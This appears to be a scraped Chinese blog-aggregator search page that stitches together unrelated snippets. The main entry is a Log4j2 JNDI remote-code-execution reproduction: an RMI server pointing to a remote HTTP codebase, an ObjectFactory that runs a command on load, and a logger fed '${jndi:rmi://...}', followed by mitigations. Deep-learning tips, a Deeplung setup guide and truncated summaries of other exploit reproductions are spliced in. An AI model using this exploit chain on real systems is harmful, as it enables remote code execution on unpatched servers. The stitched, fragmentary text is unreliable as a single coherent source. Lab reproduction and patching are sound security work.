精华内容
下载资源
问答
  • Apache Log4j2 远程代码执行漏洞 漏洞描述 Apache Log4j是Apache的一个开源项目,Apache log4j2是Log4j的升级版本,我们可以控制日志信息输送的...复现 仅个人学习总结 效果 MyServer.java package server;

    Apache Log4j2 远程代码执行漏洞

    漏洞描述

    Apache Log4j是Apache的一个开源项目,Apache log4j2是Log4j的升级版本,我们可以控制日志信息输送的目的地为控制台、文件、GUI组件等,通过定义每一条日志信息的级别,能够更加细致地控制日志的生成过程。

    漏洞影响版本:

    2.0 <= Apache Log4j 2 <= log4j-2.15.0-rc1

    复现

    仅个人学习总结

    • 效果

    • MyServer.java

    
    package server;
    
    import com.sun.jndi.rmi.registry.ReferenceWrapper;
    
    import java.rmi.registry.LocateRegistry;
    import java.rmi.registry.Registry;
    import javax.naming.Reference;
    
    /**
     * @author: shaofeer
     * <p>
     * @qq: 337081267
     * <p>
     * @CSDN: http://blog.csdn.net/pyfysf
     * <p>
     * @blog: http://quxuecx.com
     * <p>
     * @email: shaofeer@163.com
     * <p>
     * @time: 2021/12/13
     */
    public class MyServer {
        public static void main(String[] args) throws  Exception {
            Registry registry = LocateRegistry.createRegistry(1099);
            // Reference需要传入三个参数(className,factory,factoryLocation)
            // 第一个参数随意填写即可,第二个参数填写我们http服务下的类名,第三个参数填写我们的远程地址
            Reference refObj = new Reference("server.RegistCalc", "server.RegistCalc", "http://127.0.0.1:8000/calc");
            // ReferenceWrapper包裹Reference类,使其能够通过RMI进行远程访问
            ReferenceWrapper refObjWrapper = new ReferenceWrapper(refObj);
            registry.bind("calc", refObjWrapper);
    
        }
    
    }
    
    
    • RegistCalc.java
    package server;
    
    import java.util.Hashtable;
    
    import javax.naming.Context;
    import javax.naming.Name;
    
    /**
     * @author: shaofeer
     * <p>
     * @qq: 337081267
     * <p>
     * @CSDN: http://blog.csdn.net/pyfysf
     * <p>
     * @blog: http://quxuecx.com
     * <p>
     * @email: shaofeer@163.com
     * <p>
     * @time: 2021/12/13
     */
    public class RegistCalc implements javax.naming.spi.ObjectFactory{
        @Override
        public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
            System.out.println("EXEC  server.RegistCalc");
    
            Runtime.getRuntime().exec("calc");
            return null;
        }
    }
    
    
    • MyClient.java

    用于测试服务,可以不需要

    package server;
    
    import java.io.Serializable;
    import java.net.MalformedURLException;
    import java.rmi.Naming;
    import java.rmi.NotBoundException;
    import java.rmi.RemoteException;
    
    import javax.naming.Context;
    import javax.naming.InitialContext;
    import javax.naming.NamingException;
    
    /**
     * @author: shaofeer
     * <p>
     * @qq: 337081267
     * <p>
     * @CSDN: http://blog.csdn.net/pyfysf
     * <p>
     * @blog: http://quxuecx.com
     * <p>
     * @email: shaofeer@163.com
     * <p>
     * @time: 2021/12/13
     */
    public class MyClient implements Serializable {
        public static void main(String[] args) throws Exception {
            try {
                Context ctx = new InitialContext();
                ctx.lookup("rmi://127.0.0.1:1099/calc");
            } catch (NamingException e) {
                e.printStackTrace();
            }
    
        }
    }
    
    
    • TestLog4J
    package testLog4j;
    
    import org.apache.logging.log4j.LogManager;
    import org.apache.logging.log4j.Logger;
    
    /**
     * @author: shaofeer
     * <p>
     * @qq: 337081267
     * <p>
     * @CSDN: http://blog.csdn.net/pyfysf
     * <p>
     * @blog: http://quxuecx.com
     * <p>
     * @email: shaofeer@163.com
     * <p>
     * @time: 2021/12/13
     */
    public class TestLog4J {
        private static final Logger log = LogManager.getLogger();
    
        public static void main(String[] args) {
            String name = "${jndi:rmi://127.0.0.1:1099/calc}";
    
            log.error("xxxxx");
            //测试方式
            //log.error("xxxxxxxxxxxxxxxxxx${jndi:rmi://127.0.0.1:1099/calc}");
            //变量方式
            log.error("request name is :" + name);
    
    
        }
    
    }
    
    
    

    解决方案

    修复方案

    升级jar包

    升级至最新版本 Apache Log4j 2.15.0-rc2
    https://github.com/apache/logging-log4j2/releases/tag/log4j-2.15.0-rc2

    最直接、有效、稳定的修复方式是:将 log4j-core 升级到 2.15.0 版本

    缓解措施

    • 直接删除漏洞类
    zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
    

    • 限制受影响应用对外访问互联网
    • JDK使用11.0.1、8u191、7u201、6u211及以上的高版本
    • 设置jvm参数:
    -Dlog4j2.formatMsgNoLookups=true
    
    • 添加log4j2.component.properties配置文件,设置:
    log4j2.formatMsgNoLookups=True
    
    展开全文
  • 复现算法或者优化算法是比较头疼的是一切训练正常,loss曲线比你想象的还好看,训练了一年后(just kidding, maybe longer),测试一下发现效果奇差无比,都不好意思说是自己写的代码。一年就过去了。 这里有...

    点上方计算机视觉联盟获取更多干货

    仅作学术分享,不代表本公众号立场,侵权联系删除

    转载于:作者丨Michael

    来源丨我爱计算机视觉

    985人工智能博士笔记推荐

    周志华《机器学习》手推笔记正式开源!附pdf下载链接,Github2500星!

    博客地址:https://blog.csdn.net/liuxiaoheng1992/article/details/120228724

    作为一名算法工程师,主要是想把自己模型调优和复现算法遇到的一些坑总结一下(里面的一行字可能是我当时花费了一周甚至更长时间得到的总结),希望能对读者有所帮助。

    一、熟悉数据

    模型是数据的浓缩版----Andrew NG的二八定律,即80%的数据+20%的=更好的AI

    对于新上手的一任务来说,需要熟悉你的数据。拿检测任务来说,可以写个可视化代码查看标注是否合理,查看一下待检测物体的大小分布情况(例如anchor的预设),查看一下图片大小,查看类别分布情况(例如是否有极端的分布)等等。

    二、算法选型

    在接到一个新领域的新任务时,需要调研相关领域算法,对该领域的发展有个大概的了解,掌握一些关键算法(比如历年的SOTA)的思路。虽然调研需要花费一些时间,但是这样在算法选型上可以少做一些实验,性价比是很高的。站在他们的肩膀上就好了。

    不太可取的思路:

    1. 在指标上太钻牛角尖。有些算法工程师遇到指标在自己数据集效果不太好的情况时,立马换别的算法,或者立马换个backbone,或者立马换个loss去做实验。(需要认真分析为什么效果不好,是自己训练有问题,还是当前数据不太适合该算法,是评测指标不合理,还是评测指标实现有问题。)

    2. 不进行相关调研,直接上SOTA算法。这样做会有一些不太理想的问题,比如SOTA可能没有针对自己场景的数据做优化,比如当前任务是小目标居多(通过分析数据得到),虽然SOTA的总的mAP很高,但是small mAP比之前算法还低,那就要慎用 。比如SOTA用的是很重的网络,但是任务是速度快,或者速度与效果兼顾,那也应该慎用。

    三、基于已有实现来优化算法

    对于某个任务在选择好合适的算法以后,如果有相应的效果比较好的开源实现,最好用开源项目进行算法的复现。

    这样做的目的:

    1. 更方便深入的理解算法的具体细节,比如可能代码在文章没有提到的某些层上偷摸的加了一个shift操作,比如文章提到的一些trick代码根本没有实现,比如代码用了额外的数据训练但文章没有提到,比如文章描述的数据增强方式与代码的实现不一样等。(这些可能发生在开源复现者没有“一比一”复现论文的情况,也可能发生在论文作者自己没有实现的情况)

    2. 能快速掌握算法的基础性能,比如复现算法大概的运行速度(特别是文章没给出的时候)和达到的效果

    3. 不用自己做一些无用功。要知道重写和调试一份新的模型不仅费时费力,可能还因为文章没有写清楚一些细节,导致你几乎无法复现到相应的结果。

    利用开源项目已复现的算法(这里复现不是完全能与代码作者或者文章作者结果一致,可能是数据增强,随机种子导致结果有偏差,但已获取到八九不离十的结果)来改进模型可以有下面几点思路:

    1. 代码是否实现了文章一些涨点的trick,如果没有可以尝试

    2. 文章一般会分析实验结果,后面会有作者自己的一些观点,他们可能会说明为什么有些情况文章的算法效果较差

    3. 有些文章会写他们将来可能的工作,这也是一个改进思路

    4. 需要可视化查看实验结果(特别是跑自己的数据集),结果可能与作者在公开数据集展示出的问题不一样,分析效果差的原因

    四、从0复现算法

    复现算法是一个比较大的工程,这里的大工程不只是指代码多或者工作量大,而是没有一个基础版,导致引入的不可控因素太多调试困难,比如数据接口是否有问题,模型是否搭建正确,训练方式是否存在问题。

    在复现算法或者优化算法是比较头疼的是一切训练正常,loss曲线比你想象的还好看,训练了一年后(just kidding, maybe longer),测试一下发现效果奇差无比,都不好意思说是自己写的代码。一年就过去了。

    这里有下面一些建议:

    1. 尽量测试每一个细节,从数据接口,模型,到loss输出,到最终的评测代码。保证每个部分都可控。

    2. 测试数据接口,从单进程,batch为1开始,方便打印数值进行对比。

    3. 不要随意的去随机,尽量保证问题可以复现比如先不要加入随机数据增强,模型的随机种子固定。

    4. 用少量的数据,这样可以快速的做实验,也可以让模型快速过拟合。模型能过拟合可以大概确定模型是可以学到点什么的。

    5. 尽量按照原文来复现,在复现前,先不要过多的添加自己独特的想法。比如训练参数,模型backbone,数据增强方式等等先按照文章来。不清楚的点可以尝试email作者或者寻找相关圈子讨论。

    6. 日志打印全,比如解loss为nan的情况,需要知道是forward的导致还是bp导致。

    五、一些或许有用的训练建议

    1. 保证数据是可靠的

    2. 有预训练模型最好用上

    3. 通常学习率参数小于1e-5基本没啥用了,比如cosine或者step操作,最后的学习率到1e-5就好了。当然特殊任务不一样

    4. bn在训练时记得打开更新(特别是tf的小伙伴,容易漏),不然可能出现的问题是训练时loss下降很快,测试感觉模型就没收敛

    5. sgd是很棒的,但是实验用adam或许收敛速度更好

    6. 如果想要很好的压榨出一个算法的性能,请先保证当前模型能到达相应的性能再去压榨。而不是盲目的换模块,疯狂调参,那样可能只是浪费时间

    7. 不要太相信自己的调参技术,在没有一个较好的baseline情况下,调参不会有质的飞跃(除非是之前参数造成了某种bug)

    8. 数据小时,使用了预训练模型记得固定前几层的模型参数,还可以用小点的学习率

    9. loss balance有时候很有用

    10. 重复训练可能可以提升点数,将一个模型训练好后,用训练好的模型做预训练模型载入,继续用同一套参数训练。有点像CyclicLR(https://pytorch.org/docs/stable/generated/torch.optim.lr_scheduler.CyclicLR.html#torch.optim.lr_scheduler.CyclicLR)

    11. DL没有像机器学习有那么多公式支撑,很多都是make sense就做个实验来验证,所以尽量多阅读论文,看看别人的实验,这样就可以减少不必要的实验

    12. 这篇文章是为了分享自己的一些心得,希望读者能用得上,如果有严重错误还请告知,不想误导他人

    -------------------

    END

    --------------------

    我是王博Kings,985AI博士,华为云专家、CSDN博客专家(人工智能领域优质作者)。单个AI开源项目现在已经获得了2100+标星。现在在做AI相关内容,欢迎一起交流学习、生活各方面的问题,一起加油进步!

    我们微信交流群涵盖以下方向(但并不局限于以下内容):人工智能,计算机视觉,自然语言处理,目标检测,语义分割,自动驾驶,GAN,强化学习,SLAM,人脸检测,最新算法,最新论文,OpenCV,TensorFlow,PyTorch,开源框架,学习方法...

    这是我的私人微信,位置有限,一起进步!

    4cff92c95043477c8584cf3b412c3c10.png

    王博的公众号,欢迎关注,干货多多

    手推笔记:

    思维导图  |  “模型评估与选择”  |  “线性模型”  |  “决策树”  |  “神经网络”  |  支持向量机(上)  |  支持向量机(下)  |  贝叶斯分类(上)  |  贝叶斯分类(下)  |  集成学习(上)  |  集成学习(下)  |  聚类  |  降维与度量学习  |  稀疏学习  |  计算学习理论  |  半监督学习  |  概率图模型  |  规则学习

    增长见识:

    博士毕业去高校难度大吗?  |  研读论文有哪些经验之谈?  |  聊聊跳槽这件事儿  |  聊聊互联网工资收入的组成  |  机器学习硕士、博士如何自救?  |  聊聊Top2计算机博士2021年就业选择  |  非科班出身怎么转行计算机?  |  有哪些相见恨晚的科研经验?  |  经验 | 计算机专业科班出身如何提高自己编程能力?  |  博士如何高效率阅读文献  |  有哪些越早知道越好的人生经验?  |  

    其他学习笔记:

    PyTorch张量Tensor  |  卷积神经网络CNN的架构  |  深度学习语义分割  |  深入理解Transformer  |  Scaled-YOLOv4!  |  PyTorch安装及入门  |  PyTorch神经网络箱  |  Numpy基础  |  10篇图像分类  |  CVPR 2020目标检测  |  神经网络的可视化解释  |  YOLOv4全文解读与翻译总结  | 

    9007e100ad54adf4dfb2c9a4a07532f3.gif

    点分享

    8453021bff747c46f5f7f987997644c2.gif

    点收藏

    b4366a1125beca32e2d24f312d8fbbfc.gif

    点点赞

    c16e06a221baaa60638d47f3ed6419ed.gif

    点在看

    展开全文
  • Deeplung代码复现(一)

    热门讨论 2021-06-29 13:17:12
    Deeplung代码复现 一、环境配置 我的环境:ubantu16.04 cuda9.0 python2.7 pytorch1.1.0 1.创建环境

    Deeplung代码复现(一)

    最近在做肺部结节检测,看了deeplung的论文决定动手复现一下,复现过程有些长,所以分两部分记录。由于是全部完成后才写博客,所以时间有些长了,可能记录不全,望理解。这部分主要记录环境配置、预处理及结节可视化。

    一、环境配置

    我的环境:ubantu16.04 cuda9.0 python2.7 pytorch1.1.0
    1.创建环境

    conda create --name Deeplung python=2.7
    conda activate Deeplung
    

    在这里插入图片描述

    2.安装pytorch

    conda install pytorch=1.1.0 torchvision cuda90 -c pytorch
    

    下面验证是否安装成功:输入python,通过print(torch__.version__)来查询Torch版本,可以查到证明安装成功
    在这里插入图片描述

    3.安装其他依赖

    pip install h5py
    pip install SimpleITK==0.10.0
    pip install numpy==1.11.3
    pip install matplotlib==2.0.0
    pip install scikit-image==0.12.3
    pip install scipy==0.18.1
    

    打开代码还有其他划红线的地方没有安装,就按缺什么包进行安装即可。

    二、CT图像预处理

    此部分参考了博客对预处理代码prepare.py的讲解,在一定的理解的基础上进行了处理。

    1. 首先需要在config_training.py中对所有路径进行修改,改成自己的路径
    config = {'train_data_path':['/media/data1/wentao/tianchi/luna16/subset0/',
                                 '/media/data1/wentao/tianchi/luna16/subset1/',
                                 '/media/data1/wentao/tianchi/luna16/subset2/',
                                 '/media/data1/wentao/tianchi/luna16/subset3/',
                                 '/media/data1/wentao/tianchi/luna16/subset4/',
                                 '/media/data1/wentao/tianchi/luna16/subset5/',
                                 '/media/data1/wentao/tianchi/luna16/subset6/',
                                 '/media/data1/wentao/tianchi/luna16/subset7/',
                                 '/media/data1/wentao/tianchi/luna16/subset8/'], # 改成自己的训练集路径
              'val_data_path':['/media/data1/wentao/tianchi/luna16/subset9/'],  # 改成自己的验证集路径 
              'test_data_path':['/media/data1/wentao/tianchi/luna16/subset9/'],   # 改成自己的测试集路径
              
              'train_preprocess_result_path':'/media/data1/wentao/tianchi/luna16/preprocess/',  # 此处为预处理后的训练集路径
              'val_preprocess_result_path':'/media/data1/wentao/tianchi/luna16/preprocess/',    # 此处为预处理后的验证集路径
              'test_preprocess_result_path':'/media/data1/wentao/tianchi/luna16/preprocess/',  # 此处为预处理后的测试集路径
              
              'train_annos_path':'/media/data1/wentao/tianchi/luna16/CSVFILES/annotations.csv',  #  此处为标签文件的路径
              'val_annos_path':'/media/data1/wentao/tianchi/luna16/CSVFILES/annotations.csv',
              'test_annos_path':'/media/data1/wentao/tianchi/luna16/CSVFILES/annotations.csv',
    
              'black_list':[],
              
              'preprocessing_backend':'python',
    
              'luna_segment':'/media/data1/wentao/tianchi/luna16/seg-lungs-LUNA16/',  # 肺部分割掩码的路径
              'preprocess_result_path':'/media/data1/wentao/tianchi/luna16/preprocess/',  # 此处为存放预处理结果的路径
              'luna_data':'/media/data1/wentao/tianchi/luna16/',  # luna16数据集的原始数据路径
              'luna_label':'/media/data1/wentao/tianchi/luna16/CSVFILES/annotations.csv'  # 病例标签路径
             } 
    
    1. 运行prepare.py就可以在你写的预处理结果路径下找到生成的结果
      我的路径为:'preprocess_result_path':'/home/dlut/cfr/lung-cancer/Deeplung-master/data/luna16/preprocess/',所以我的生成结果如下:
      在这里插入图片描述
      每个subset下为每张CT生成了6个文件:

    在这里插入图片描述

    1. 这六个文件分别为:id_clean.npy,id_extendbox.npy,id_label.npy,id_mask.npy,id_origin.npy,id_spacing.npy。
    文件含义
    id_clean.npy预处理过的图像的像素数据
    id_extendbox.npy掩码的最小外接box
    id_label.npy从annotations来,已经转换成体素坐标的结节标签
    id_mask.npy应用了新分辨率的mask
    id_origin.npy从.mhd中读取的origin
    id_spacing.npy从.mhd中读取的spacing

    (这里都是自己看代码一句一句调试得出的,若不正确请指出,请谅解~~~)

    三、原数据集和预处理后数据集结节可视化

    1、原数据集结节可视化

    原始数据集中,每张CT都保存为一个.mhd和.raw文件:

    .mhd文件:给出CT图像中的一些基本信息,重要的有CT原点坐标、像素间隔(世界坐标系下)
    .raw文件:用来存储CT的具体数据

    在这里插入图片描述

    annotations.csv中给出了不同CT中结节的世界坐标和直径

    我们需要把在世界坐标系下的结节的坐标转换到体素坐标系来显示,转换公式:

    世界坐标系(结节位置-原点位置)/切片体素间距=体素坐标系(结节位置-(0,0,0))/1

    可视化结果:
    在这里插入图片描述

    2、预处理后的数据集结节可视化

    预处理后每个CT存成了6个文件,其中_label.npy就是结节的标签,并且是已经转化为体素坐标的,所以直接读取其中的坐标(z,y,x,d),在_clean.npy上画框就可以了,我的可视化结果如下图:
    在这里插入图片描述

    展开全文
  • NLP经典模型复现之开宗明义

    千次阅读 多人点赞 2021-07-28 10:30:13
    那么简要说明一下它们之间的关系。在词向量中最为经典的模型当属word2vec,NNLM是word2vec的鼻祖,也是非常具有代表性的工作。然后在word2vec的基础上又发展了FastText和Glove。   第二部分会深入讲解神经网络经典...

    1. 为什么要写这个专栏

      大家好,我是herosunly,从985院校硕士毕业,现担任算法研究员一职。CSDN博客专家,2020年博客之星TOP。曾获得阿里云天池比赛第一名等Top名次,拥有多项发明专利。对机器学习和深度学习拥有自己独到的见解。曾经辅导过若干个非计算机专业的学生进入到算法行业就业。
    在这里插入图片描述

      7月初写了一篇保姆级人工智能学习成长路径,得到了读者的广泛好评。但不少读者觉得意犹未尽,希望能出更加详尽的课程,比如如何能够真正入门某一细分领域,如NLP(自然语言处理)。为了帮助热爱学习的同学,在工作之余,特意编写NLP经典模型复现专栏。之所以写此专栏,是因为在我心中最快入门某个机器学习领域的方法是read the paper, and reproduce the code(阅读经典论文并复现其代码)。

    展开全文
  • 作者|Michael编辑|极市平台作为一名算法工程师,主要是想把自己模型调优和复现算法遇到的一些坑总结一下(里面的一行字可能是我当时花费了一周甚至更长时间得到的总结),希望能对读...
  • pytorch yolo复现

    2021-11-24 16:13:36
    想着入门pytorch,用pytorch复现一下yolo算法,其实yolo的原理一天左右就完全搞懂了,但是真正写起代码来,就是会有各种细节不太清除,我是先从吴恩达的视频开始,然后参考着两位大佬的复现代码eriklindernoren的...
  • CNVD-2021-14544 漏洞复现

    千次阅读 2021-03-28 12:12:39
    大四的生活忙忙碌碌,在绿盟实习和忙毕设,让我划水A了半年,今天写一下最近申请零组文库邀请码,提交的复现文章叭. 贵有恒何必三更眠五更起,最无益只怕一日曝十日寒 话不多说,快上车。 海康威视流媒体管理服务器任意...
  • Ransac方法的个人复现

    2021-06-15 13:22:12
    就常用方法而言,Ransac算是一种很常用很经典的方法,其中matlab中也自带有其函数,但很明显源代码看的不是很明白,因此便尝试自己去复现一下: 原理而言,其实很简单,以直线拟合为算例简单讲解一下: part one:...
  • 上一篇文章复现了一下laravel5.7的反序列化,这篇复现一下5.8的反序列化。还是github上下载源码: laravel5.8 往composer.json的require里面加上"symfony/symfony": “4.*”,然后composer update。 如果提示 ...
  • Google Chrome远程代码执行0Day漏洞复现
  • 解决办法: 最近出现一个惊天bug,我这就简单的复现一下看下什么情况,新手可直接复制代码运行. 第一步:随便建一个maven项目(基本操作忽略) 第二步导入log4j的依赖 Apache Log4j 2.x 版本要选对,否则可能不会复现 ...
  • 如何在自己的电脑上复现开源论文里的代码

    千次阅读 多人点赞 2021-04-11 15:10:51
    如何在自己的电脑上复现开源论文里的代码 刚开始入门科研的小伙伴们总是苦于开源论文中的代码无法在自己的电脑上复现,接下来以文章High speed and high dynamic range video with an event camera作为线索来讲解...
  • weblogic漏洞总结复现

    2021-10-07 17:11:44
    title: weblogic漏洞总结复现 date: 2021-10-02 22:05:37 updated: tags: weblogic 中间件 漏洞 categories: 漏洞复现 keywords: description: top_img: cover: weblogic.jpg 简介 WebLogic是美国Oracle公司出品...
  • log4j2 jndi ldap漏洞复现

    千次阅读 2021-12-16 15:25:32
    2021年12月9日,apache log4j2项目爆出重大安全漏洞,如何复现呢?
  • 作者在Github上开源了自己代码,于是想着复现一下结果。结果花了几天搭环境遇到不少bug,就想着记录一下避免其他人遇到相同问题走弯路,也方便自己以后重新搭建的时候有个参照。 其中问题最大的就是那个spconv库了...
  • 【文末查看 论文复现神器】↓↓↓刚接触论文时,我们常常听到要研究论文就头大,想到论文就排斥。那问题来了,想找到论文的创新点,必须要吃透经典Paper。但大部分学员一看到论文就....①研究...
  • 漏洞复现过程 1.准备一台kali虚拟机,一台windows7 2.打开kali,查看kali的IP地址,命令:ifconfig 3.知道kali的IP地址为:192.168.43.116之后使用kali自带的nmap网络扫描工具扫描192.168.43.0网段下存活的主机,...
  • forward一下 该漏洞不受cgi.fix_pathinfo影响,其为0也能解析。 修复方法 升级nginx版本。 CRLF注入漏洞 漏洞原理 CRLF是”回车+换行”(rn)的简称,其十六进制编码分别为0x0d和0x0a。在HTTP协议中,HTTP header与...
  • Log4j2漏洞复现

    千次阅读 2021-12-14 10:56:46
    这次就分享一下Log4j2漏洞的复现场景,以供大家参考。 二、参考文章 Apache Log4j2远程代码执行漏洞 本文的示例也都是按照这里面敲的,文章还有很多大佬评论大家可以多看看 三、漏洞触发流程图 这里使用LDAP服务...
  • SSRF题目复现

    千次阅读 2021-11-18 15:57:12
      看了一下网上的WP都是构建读取readflag文件的payload,我的想法是通过自己的VPS向目标服务器写入一个一句话。在自己VPS创建以下内容文件: 访问以下URL向目标写入webshell: ...
  • 点击上方“3D视觉工坊”,选择“星标”干货第一时间送达成功复现一篇论文到底有多难?大概就像这样吧:可太TM难了——相信这是大多数机器学习研究者都吐槽过的心声。正义也许会迟到,但绝不会缺席。...
  • DANet代码复现

    2021-10-16 12:05:57
    即在自己项目中新建一个python文件,我把生成txt的代码再贴一下: import glob def make_txtfile(num, mode=None): i = 0 # for the DANET the txt filename if mode == "train" or "val": txt_name = mode+"_fine" ...
  • Log4j2 RCE漏洞复现

    千次阅读 2021-12-10 23:35:00
    最新log4j rce漏洞复现
  • YApi Mock功能远程代码执行漏洞复现 漏洞描述 API接口管理平台是国内某旅行网站的大前端技术中心开源项目,使用mock数据/脚本作为中间交互层,为前端后台开发与测试人员提供更优雅的接口管理服务,该系统被国内较多...
  • 源代码地址 首先配置好conda环境(需要提前安装ubuntu18.04和 anaconda或者miniconda) 原代码的说明里说可以选择安装python 3.6也可以装python2.7(我最开始的时候装的是python2.7版本的conda环境,但是折腾了很久...
  • Netlogon漏洞复现

    2021-03-04 10:36:02
    所以考虑内网尝试一下打Netlogon,考虑到入口的主机是linux,不像windows那样比较方便的获取主机名,并且确定一下漏扫是否有误报,所以用OXID获取主机名,确认是owa无误。 利用CVE-2020-1472的poc打过去,返回是 ...
  • pointnet.pytorch 复现

    2021-03-25 09:57:13
    如果你想学习如何使用Markdown编辑器, 可以仔细阅读这篇文章,了解一下Markdown的基本语法知识。 新的改变 我们对Markdown编辑器进行了一些功能拓展与语法支持,除了标准的Markdown编辑器功能,我们增加了如下几点新...
  • 吴恩达老师曾经说过,看一篇论文的关键,是复现作者的算法。 然而,很多论文根本就复现不了,这是为什么呢? 一、数据关系 因为作者使用的数据比较私密,一般人拿不到,这种情况下,即使作者提供了源代码,但是读者...
  • log4j代码注入漏洞复现

    千次阅读 2021-12-16 14:21:39
    前些天log4j官方宣布的log4j的漏洞闹得沸沸扬扬,各个公司加班升级修复,我们也在周末要求验证版本保证不受影响,既然知道了漏洞,我们就复现一下,比如让被注入文件的电脑关个机 2.工具准备 ...

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 33,407
精华内容 13,362
关键字:

复现一下